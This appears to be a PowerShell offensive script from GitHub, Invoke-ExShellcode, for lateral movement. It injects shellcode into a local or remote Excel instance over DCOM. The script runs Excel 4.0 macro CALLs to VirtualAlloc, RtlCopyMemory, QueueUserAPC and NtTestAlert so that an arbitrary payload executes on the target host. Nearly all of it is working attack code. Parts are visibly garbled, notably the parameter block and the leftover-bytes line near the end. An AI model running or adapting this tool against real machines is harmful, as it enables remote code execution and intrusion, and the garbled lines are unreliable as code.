Invoke-ExShellcode.ps1

April 28, 2019 · View on GitHub

<# Lateral movement and shellcode injection via Excel 4.0 macros Author: Philip Tsukerman (@PhilipTsukerman) License: BSD 3-Clause Based on Invoke-Excel4DCOM by Stan Hegt (@StanHacked) / Outflank - https://github.com/outflanknl/Excel4-DCOM #>

function Invoke-ExShellcode { <# .SYNOPSIS Inject Shellcode into a local or remote instance of the Excel.Application COM object .PARAMETER ComputerName Specify a remote host to inject into. .PARAMETER Payload A file containing the shellcode bytes .PARAMETER x64 Specify the x64 switch to enable x64 shellcode injection .EXAMPLE PS > Invoke-ExShellcode -ComputerName server01 -Payload C:\temp\payload.bin -x64 Injects the x64 payload in payload.bin to an x64 Excel instance on server01 .NOTES Based on Invoke-Excel4DCOM by Stan Hegt (@StanHacked) / Outflank - https://github.com/outflanknl/Excel4-DCOM #> [CmdletBinding()] Param( [Parameter(Mandatory = true,Position=0,ValueFromPipeline=true, Position = 0, ValueFromPipeline=true)] [Alias("PSComputerName","MachineName","IP","IPAddress","Host")] [String] $ComputerName,

	[Parameter(Position = 1, Mandatory = $true)]
	[Alias("Shellcode")]
	[String]
	$Payload,

	[switch]$x64
)

$excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application", "$ComputerName"))

if ($x64) { # If we're injecting to a x64 process, try to allocate memory at an address representable by a DWORD
    $lpAddress = 0x50000000
}
else {
    $lpAddress = 0
}

$sc = Get-Content -Encoding Byte $Payload

# Allocate a buffer for shellcode
$memaddr = $excel.ExecuteExcel4Macro('CALL("Kernel32","VirtualAlloc","JJJJJ",'+$lpAddress+',' + $sc.length + ',12288,64)')
if ($memaddr -eq 0) {throw "ERROR - Could not allocate memory buffer"  }

# Build a series of strings from which to copy our shellcode, without exceeding maximum macro size, and write the bytes to our buffer
$count = 0 # Bytes Processed by our loop
$string = "" # Current byte string to be written in our buffer
$curlength = 0 # Length of the current string as a byte buffer
$cursor = 0 # Offset from the bae of the buffer to which we write the current byte string
foreach ($byte in $sc) {

	if ($byte -eq 0) {
		# The string datatype can't handle zero bytes, so we give them special treatment
		if ($curlength -gt 0) {
			# If there's already a buffer to write, flush it
		    $ret = $excel.ExecuteExcel4Macro('CALL("kernel32", "RtlCopyMemory", "JJCJ",'+($memaddr+ $cursor)+ ','+$string+','+$curlength+')')
		}
		# just skip the zero byte, as VirtualAlloc initializes our buffer to zeroes anyway
		$curlength = 0
		$string = ""
		$count += 1
		continue
	}

	if ($curlength -eq 0 ) {
		# This is the beginning 
		$cursor = $count
   		$string += "CHAR`($byte`)"

	}

	else {

		# If we're in the middle of a string, prepend '&' to the byte value to concatnate it to the previous one
		$string += "&CHAR`($byte`)"
		
	}

	$curlength += 1

	if ($string.Length -ge 150) {
	
		# Flush and write the current byte string to the target buffer
	    $ret = $excel.ExecuteExcel4Macro('CALL("kernel32", "RtlCopyMemory", "JJCJ",'+($memaddr+ $cursor)+ ','+$string+','+$curlength+')')
	
	    $string = ""
	    $curlength = 0
	}

	$count += 1

	# Call Write-Progress for every 10 bytes processed, the progress bar adds considerable performance overhead and should not be called for every byte
	if ($count % 10 -eq 0) {Write-Progress -Id 1 -Activity "Invoke-Excel4DCOM" -CurrentOperation "Injecting shellcode" -PercentComplete ($count / $sc.length * 100)}
}

if (curlength -gt 0) { # Write any leftover bytes to the buffer ret = excel.ExecuteExcel4Macro(CALL("kernel32","RtlCopyMemory","JJCJ",+(excel.ExecuteExcel4Macro('CALL("kernel32", "RtlCopyMemory", "JJCJ",'+(memaddr+ cursor)+,+cursor)+ ','+string+','+$curlength+')') }

# Queue an APC with the address of the shellcode to the current thread. Seems like there's a single thread handling our macros, so the next CALL will be still handled by the same thread
$excel.ExecuteExcel4Macro('CALL("Kernel32","QueueUserAPC","JJJJ", ' + $memaddr + ', -2, 0)')

# NtTestAlert will flush the current thread's APC cache, and execute our shellcode
# The Start-Job timeout hack exists here as otherwise the command will hang until the shellcode returns (and crashes the process)
Start-Job {param($excel)$excel.ExecuteExcel4Macro('CALL("ntdll", "NtTestAlert", "J")')} -ArgumentList $excel |Wait-Job -timeout 1

}